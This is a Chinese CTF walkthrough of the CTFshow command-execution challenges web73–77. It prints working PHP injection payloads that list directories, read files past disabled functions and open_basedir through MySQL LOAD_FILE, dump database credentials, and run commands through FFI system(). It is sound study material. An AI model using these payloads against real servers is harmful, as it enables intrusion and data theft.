当前位置: 首页 > news >正文

CTFshow系列——命令执行web73-77(完结篇)

老样子,今天给大家带来命令执行的文章讲解以及解析

文章目录

    • Web73
      • 另一种方法:PHP原生类可遍历目录
    • Web74
      • 遍历目录新payload
    • Web75(新方法,很重要!!!)
      • 查看目录
      • 查看WP
      • 答疑解惑部分(焚决):
      • 总结
    • Web76
    • Web77(重要)
      • 🔍 错误原因
      • ✅ 解决方案
      • 解题思路
      • 真正的payload
    • 总结


Web73

老样子,没有什么新意:
在这里插入图片描述

所以直接查看目录:

# payload
c=var_export(scandir('/'));exit();
c=var_export(scandir('glob:///*'));exit();c=echo implode('|', scandir('/'));exit();
c=echo implode('|', scandir('glob:///*'));exit();

另一种方法:PHP原生类可遍历目录

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

这种办法查看目录之前已经遇到过很多次了,这里就不再解释;


后续payload还是一样的道理:
注意:这里是flagc.txt

# payload
c=include('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();
c=require('/flagc.txt'); exit();
c=require_once('/flagc.txt');exit();# 新函数
c=readgzfile("/flagc.txt");exit();

Web74

在这里插入图片描述
千篇一律的开头,没有什么好说的;

这里我们尝试查看目录,发现了点问题:

  • 使用c=var_export(scandir('glob:///*'));exit();结果显示NULL
  • scandir()函数被禁用了

遍历目录新payload

所以后面我稍微修改了下,得到新的payload:

# 遍历目录
c=echo implode('|', glob('/*'));exit();
c=var_export(glob('/*'));exit();# PHP遍历目录方法也可行
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

在这里插入图片描述

查看flagx文件:

# payload
c=include('/flagx.txt');exit();
c=include_once('/flagx.txt');exit();
c=require('/flagx.txt'); exit();
c=require_once('/flagx.txt');exit();# 新函数
c=readgzfile("/flagx.txt");exit();

Web75(新方法,很重要!!!)

这里尝试了一下,发现:
在这里插入图片描述

  • c=var_export(glob('/*'));exit();显示false
  • c=echo implode('|', glob('/*'));exit();显示参数错误

查看目录

可恶,两个payload没有了,只剩下PHP原生类可遍历目录这一种方法;

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

在这里插入图片描述
得到flag36.txt


正当我们兴致勃勃想要像以前直接文件包含的时候,意外出现了:
在这里插入图片描述
还是open_basedir,说明文件夹被限制访问了:
所以,之前文件包含的所有payload,全部失效!

查看WP

那我们知道了目录,如何查看flag36文件的内容呢?
答:换成mysqli代码

但是既然php受限制,那么mysql的load_file函数呢

# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

即可得到flag的内容;


答疑解惑部分(焚决):

这里我有个疑问:

  • 怎么知道数据库的名字为:ctftraining
  • 数据库账号一般默认就是root:root

所以我问了下ChatGPT,用来一步步构建上述的payload:

  1. 在 payload 的场景下,我先跑一条,看看库名:
c=try {$dbh = new PDO('mysql:host=localhost', 'root', 'root');foreach($dbh->query('SHOW DATABASES') as $row) {echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

  1. 查看查看某个数据库的所有表
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('SHOW TABLES') as $row) {echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();exit(0);
}
exit(0);

显示结果如图:
在这里插入图片描述
得到FLAG_TABLE表;

  1. 列出某个表的字段
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SHOW COLUMNS FROM users') as $row) {echo $row['Field'] . "|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

  1. 最后一步,查看usernamepassword
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SELECT username, password FROM users') as $row) {echo $row['username'] . " | " . $row['password'] . "\n";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

总结

好了,这就是完整的SQL语句查询过程。既然如此,我们下一个专题就写SQL语句吧(原本是想写文件上传的)。

Web76

老样子,没什么好看的:
在这里插入图片描述
这有什么,老样子,直接上payload:

# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

得到flag36d.txt文件:
在这里插入图片描述

# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

之前我的那些数据库查询语句一样能用。

在这里插入图片描述

Web77(重要)

  • 命令执行最后一题,php7.4,基本上命令执行就告一段落了

payload同理,不作解释:

# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?># 查看文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36x.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

但是意外还是出现了:
在这里插入图片描述

在这里插入图片描述
访问了flag36x.txt文件,居然没找到flag?


但是我们注意到左边有一个readflag目录,那还说啥呢,直接看呗:

c=?><?php $a=new DirectoryIterator("glob:///readflag"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
  • 返回的错误
    • Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(19) : eval()'d code(1): DirectoryIterator->__construct(‘glob:///readfla…’) #1 /var/www/html/index.php(19): eval() #2 {main} thrown in /var/www/html/index.php(19) : eval()'d code on line 1
  • 解释错误:
    • open_basedir 限制:
      PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。/readflag 不在允许路径内,所以 DirectoryIterator 无法访问。

    • DirectoryIterator 不是用来访问超出 open_basedir 的文件的

也就是说,PHP 在当前环境下不能直接列出 /readflag 目录。

明白了,你遇到的错误是:

Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/)

🔍 错误原因

  1. open_basedir 限制

    • PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。
    • /readflag 不在允许路径内,所以 DirectoryIterator 无法访问。
  2. DirectoryIterator 不是用来访问超出 open_basedir 的文件的

    • 也就是说,PHP 在当前环境下 不能直接列出 /readflag 目录
  3. 另外,你写了 glob:///readflag

    • 多了一个 /glob("///readflag")/readflag 是等价的,但这里不是主要问题,主要是 open_basedir 限制

✅ 解决方案

因为 /readflagopen_basedir 外,不能用 DirectoryIterator 或 scandir
可以使用 MySQL 的 LOAD_FILE() 函数 来读取文件内容(前提是 MySQL 用户有 FILE 权限)。

你的 payload 可以改成这样:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SELECT LOAD_FILE("/readflag")') as $row) {echo $row[0] . "|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);
  • 这样可以绕过 PHP 的 open_basedir 限制,通过 MySQL 读取 /readflag 文件内容。

💡 总结

方法是否可行
DirectoryIterator("/readflag")❌ 因为 open_basedir 限制
scandir("/readflag")❌ 同上
glob("/readflag")❌ 同上
file_get_contents("/readflag")❌ 同上
LOAD_FILE("/readflag")✅ 可行(MySQL 用户权限允许)

还是没找到flag,我真没招了

解题思路

发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。
c=$ffi = FFI::cdef(“int system(const char *command);”); 通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 $a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi−>system(ffi->system(ffi>system(a); //执行命令
然后访问1.txt

理论结束,开始操作:

  1. 刚开始用代码:
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);if(file_exists('/var/www/html/1.txt')){echo file_get_contents('/var/www/html/1.txt');}exit();
  • 这条 payload 做了三件事:

    • 初始化 FFI,调用 C 的 system 函数
    • 执行 /readflag > /var/www/html/1.txt,把 flag 输出到 web 可访问文件
    • 读取并打印 1.txt 的内容

但是很快就报错了:
Warning: file_exists() has been disabled for security reasons

  • 原因:
    • 你的 PHP 环境为了安全,禁用了 file_exists()(在 disable_functions 配置里)。
    • 也就是说 不能用 file_exists() 或 is_file() 来判断文件是否存在。

真正的payload

修改后代码:

## payload
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);echo @file_get_contents('/var/www/html/1.txt');exit();
  • 使用 @ 屏蔽 file_get_contents() 的错误
  • 如果文件写入失败,会输出空字符串
  • 不再调用 file_exists(),绕过安全限制
    在这里插入图片描述
    随后访问1.txt即可:

在这里插入图片描述
全体起立!!

总结

关于命令执行的部分也是结束了,后面就开始SQL部分内容(重要程度不亚于命令执行)。

http://www.dtcms.com/a/361054.html

相关文章:

  • LeetCode Hot 100 Python (41~50)
  • .NET 微服务日志系统:Serilog + Loki + Grafana 实践指南
  • 安卓11 12系统修改定制化_____常用的几种修改固件 实现指定 “运行内存” 显示
  • 【论文精读】基于YOLOv3算法的高速公路火灾检测
  • ios 配置了代理且使用 chls.pro/ssl 下载不了证书,无法弹出下载证书的提示问题
  • 高防IP防护效果评估全攻略:从指标解读到实战测试
  • python填充多边形,获取所有内部点
  • JVM:内存区域划分、类加载的过程、垃圾回收机制
  • 电影票api接口对接步骤
  • Minecraft(我的世界)服务器信息查询免费API接口详解
  • Java PDF转多种图片格式:技术实践与性能优化
  • Flutter 本地持久化存储:Hive 与 SharedPreferences 实战对比
  • [吾爱出品] PDF文件加密解密工作,附带源码。
  • vercel上线资源无法加载
  • 上海泗博MQT-805 Modbus转IOT的通信网关
  • Linux arm cache 入门
  • 【K8s】整体认识K8s之监控与升级/ETCD的备份和恢复/kustomization/CRD
  • MySQL DBA请注意 不要被Sleep会话蒙蔽了双眼
  • Python云原生与Serverless架构:2025年的开发新范式
  • 005 从会议全貌到模型本质:会议介绍与语言模型概述的深度融合
  • DevOps篇之通过GitLab CI 流水线实现k8s集群中helm应用发布
  • 深入解析 PyTorch 核心类:从张量到深度学习模型
  • 秋招笔记-8.29
  • 20.29 QLoRA适配器实战:24GB显卡轻松微调650亿参数大模型
  • 从理论到实践,深入剖析数据库水平拆分的安全平滑落地
  • 6 种可行的方法:小米手机备份到电脑并恢复
  • QT中的HTTP
  • 贝叶斯向量自回归模型 (BVAR)
  • 佐糖PicWish-AI驱动的在线图片编辑神器
  • 齿轮里的 “双胞胎”:分度圆与节圆